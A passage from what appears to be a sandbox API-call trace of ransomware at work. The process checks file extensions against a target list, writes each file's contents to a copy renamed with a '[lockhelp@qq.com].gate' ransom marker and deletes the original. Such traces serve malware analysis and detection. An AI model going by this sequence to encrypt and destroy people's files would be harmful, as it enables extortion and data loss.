Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0320.994] lstrlenW (lpString=".1cd") returned 4 [0320.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0320.994] lstrlenW (lpString=".jpg") returned 4 [0320.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0320.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0320.994] lstrlenW (lpString=".doc") returned 4 [0320.994] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.994] lstrlenW (lpString=".docx") returned 5 [0320.994] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.994] lstrlenW (lpString=".pdf") returned 4 [0320.994] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.994] lstrlenW (lpString=".xls") returned 4 [0320.994] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.995] lstrlenW (lpString=".xlsx") returned 5 [0320.995] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.995] lstrlenW (lpString=".ppt") returned 4 [0320.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0320.995] lstrlenW (lpString=".zip") returned 4 [0320.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.995] lstrlenW (lpString=".rar") returned 4 [0320.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.995] lstrlenW (lpString=".bz2") returned 4 [0320.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.995] lstrlenW (lpString=".7z") returned 3 [0320.995] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0320.995] lstrlenW (lpString=".dbf") returned 4 [0320.995] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0320.995] lstrlenW (lpString=".1cd") returned 4 [0320.995] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0320.995] lstrlenW (lpString=".jpg") returned 4 [0320.995] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.995] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0320.995] lstrlenW (lpString="AN04191_.WMF") returned 12 [0320.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0320.996] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=6636) returned 1 [0320.996] CloseHandle (hObject=0x378) returned 1 [0320.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 0x220 [0320.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0320.996] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.996] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0320.996] GetLastError () returned 0x0 [0320.996] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x19ec, lpOverlapped=0x0) returned 1 [0321.366] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0x19f0, lpOverlapped=0x0) returned 1 [0321.367] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0321.367] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0321.367] SetEndOfFile (hFile=0x37c) returned 1 [0321.368] CloseHandle (hObject=0x37c) returned 1 [0321.368] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.368] SetEndOfFile (hFile=0x378) returned 1 [0321.369] CloseHandle (hObject=0x378) returned 1 [0321.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.370] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 1 [0321.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0321.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0321.371] lstrlenW (lpString=".doc") returned 4 [0321.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.371] lstrlenW (lpString=".docx") returned 5 [0321.371] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.371] lstrlenW (lpString=".pdf") returned 4 [0321.371] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.371] lstrlenW (lpString=".xls") returned 4 [0321.371] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.371] lstrlenW (lpString=".xlsx") returned 5 [0321.371] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.371] lstrlenW (lpString=".ppt") returned 4 [0321.371] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0321.371] lstrlenW (lpString=".zip") returned 4 [0321.371] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.371] lstrlenW (lpString=".rar") returned 4 [0321.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.371] lstrlenW (lpString=".bz2") returned 4 [0321.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.371] lstrlenW (lpString=".7z") returned 3 [0321.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0321.371] lstrlenW (lpString=".dbf") returned 4 [0321.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0321.371] lstrlenW (lpString=".1cd") returned 4 [0321.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0321.372] lstrlenW (lpString=".jpg") returned 4 [0321.372] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0321.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0321.372] lstrlenW (lpString=".doc") returned 4 [0321.372] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.372] lstrlenW (lpString=".docx") returned 5 [0321.372] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.372] lstrlenW (lpString=".pdf") returned 4 [0321.372] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.372] lstrlenW (lpString=".xls") returned 4 [0321.372] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.372] lstrlenW (lpString=".xlsx") returned 5 [0321.372] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.372] lstrlenW (lpString=".ppt") returned 4 [0321.372] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0321.372] lstrlenW (lpString=".zip") returned 4 [0321.372] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.372] lstrlenW (lpString=".rar") returned 4 [0321.372] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.372] lstrlenW (lpString=".bz2") returned 4 [0321.372] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.372] lstrlenW (lpString=".7z") returned 3 [0321.372] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0321.372] lstrlenW (lpString=".dbf") returned 4 [0321.373] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0321.373] lstrlenW (lpString=".1cd") returned 4 [0321.373] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0321.373] lstrlenW (lpString=".jpg") returned 4 [0321.373] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.373] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.373] lstrlenW (lpString="AN04369_.WMF") returned 12 [0321.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0321.373] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=4808) returned 1 [0321.373] CloseHandle (hObject=0x378) returned 1 [0321.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 0x220 [0321.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0321.374] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.374] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0321.375] GetLastError () returned 0x0 [0321.375] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x12c8, lpOverlapped=0x0) returned 1 [0321.376] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0x12d0, lpOverlapped=0x0) returned 1 [0321.377] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0321.377] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0321.378] SetEndOfFile (hFile=0x37c) returned 1 [0321.378] CloseHandle (hObject=0x37c) returned 1 [0321.378] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.378] SetEndOfFile (hFile=0x378) returned 1 [0321.379] CloseHandle (hObject=0x378) returned 1 [0321.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.379] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 1 [0321.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0321.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0321.380] lstrlenW (lpString=".doc") returned 4 [0321.380] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.380] lstrlenW (lpString=".docx") returned 5 [0321.380] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.380] lstrlenW (lpString=".pdf") returned 4 [0321.380] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.380] lstrlenW (lpString=".xls") returned 4 [0321.380] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.380] lstrlenW (lpString=".xlsx") returned 5 [0321.380] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.380] lstrlenW (lpString=".ppt") returned 4 [0321.380] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0321.380] lstrlenW (lpString=".zip") returned 4 [0321.380] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.380] lstrlenW (lpString=".rar") returned 4 [0321.380] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.380] lstrlenW (lpString=".bz2") returned 4 [0321.380] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.380] lstrlenW (lpString=".7z") returned 3 [0321.380] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0321.380] lstrlenW (lpString=".dbf") returned 4 [0321.380] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0321.381] lstrlenW (lpString=".1cd") returned 4 [0321.381] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0321.381] lstrlenW (lpString=".jpg") returned 4 [0321.381] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0321.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0321.381] lstrlenW (lpString=".doc") returned 4 [0321.381] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.381] lstrlenW (lpString=".docx") returned 5 [0321.381] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.381] lstrlenW (lpString=".pdf") returned 4 [0321.381] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.381] lstrlenW (lpString=".xls") returned 4 [0321.381] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.381] lstrlenW (lpString=".xlsx") returned 5 [0321.381] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.381] lstrlenW (lpString=".ppt") returned 4 [0321.381] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0321.381] lstrlenW (lpString=".zip") returned 4 [0321.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.381] lstrlenW (lpString=".rar") returned 4 [0321.381] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.381] lstrlenW (lpString=".bz2") returned 4 [0321.381] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.381] lstrlenW (lpString=".7z") returned 3 [0321.382] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0321.382] lstrlenW (lpString=".dbf") returned 4 [0321.382] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0321.382] lstrlenW (lpString=".1cd") returned 4 [0321.382] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0321.382] lstrlenW (lpString=".jpg") returned 4 [0321.382] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.382] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.382] lstrlenW (lpString="AN04384_.WMF") returned 12 [0321.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0321.382] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=4996) returned 1 [0321.382] CloseHandle (hObject=0x378) returned 1 [0321.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 0x220 [0321.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0321.383] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.383] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0321.384] GetLastError () returned 0x0 [0321.384] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x1384, lpOverlapped=0x0) returned 1 [0321.385] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0x1390, lpOverlapped=0x0) returned 1 [0321.386] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0321.386] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0321.386] SetEndOfFile (hFile=0x37c) returned 1 [0321.387] CloseHandle (hObject=0x37c) returned 1 [0321.387] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.387] SetEndOfFile (hFile=0x378) returned 1 [0321.388] CloseHandle (hObject=0x378) returned 1 [0321.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.388] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 1 [0321.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0321.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0321.388] lstrlenW (lpString=".doc") returned 4 [0321.388] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.389] lstrlenW (lpString=".docx") returned 5 [0321.389] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.389] lstrlenW (lpString=".pdf") returned 4 [0321.389] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.389] lstrlenW (lpString=".xls") returned 4 [0321.389] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.389] lstrlenW (lpString=".xlsx") returned 5 [0321.389] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.389] lstrlenW (lpString=".ppt") returned 4 [0321.389] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0321.389] lstrlenW (lpString=".zip") returned 4 [0321.389] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.389] lstrlenW (lpString=".rar") returned 4 [0321.389] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.389] lstrlenW (lpString=".bz2") returned 4 [0321.389] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.389] lstrlenW (lpString=".7z") returned 3 [0321.389] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0321.389] lstrlenW (lpString=".dbf") returned 4 [0321.389] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0321.389] lstrlenW (lpString=".1cd") returned 4 [0321.424] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0321.424] lstrlenW (lpString=".jpg") returned 4 [0321.424] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.424] lstrlenW 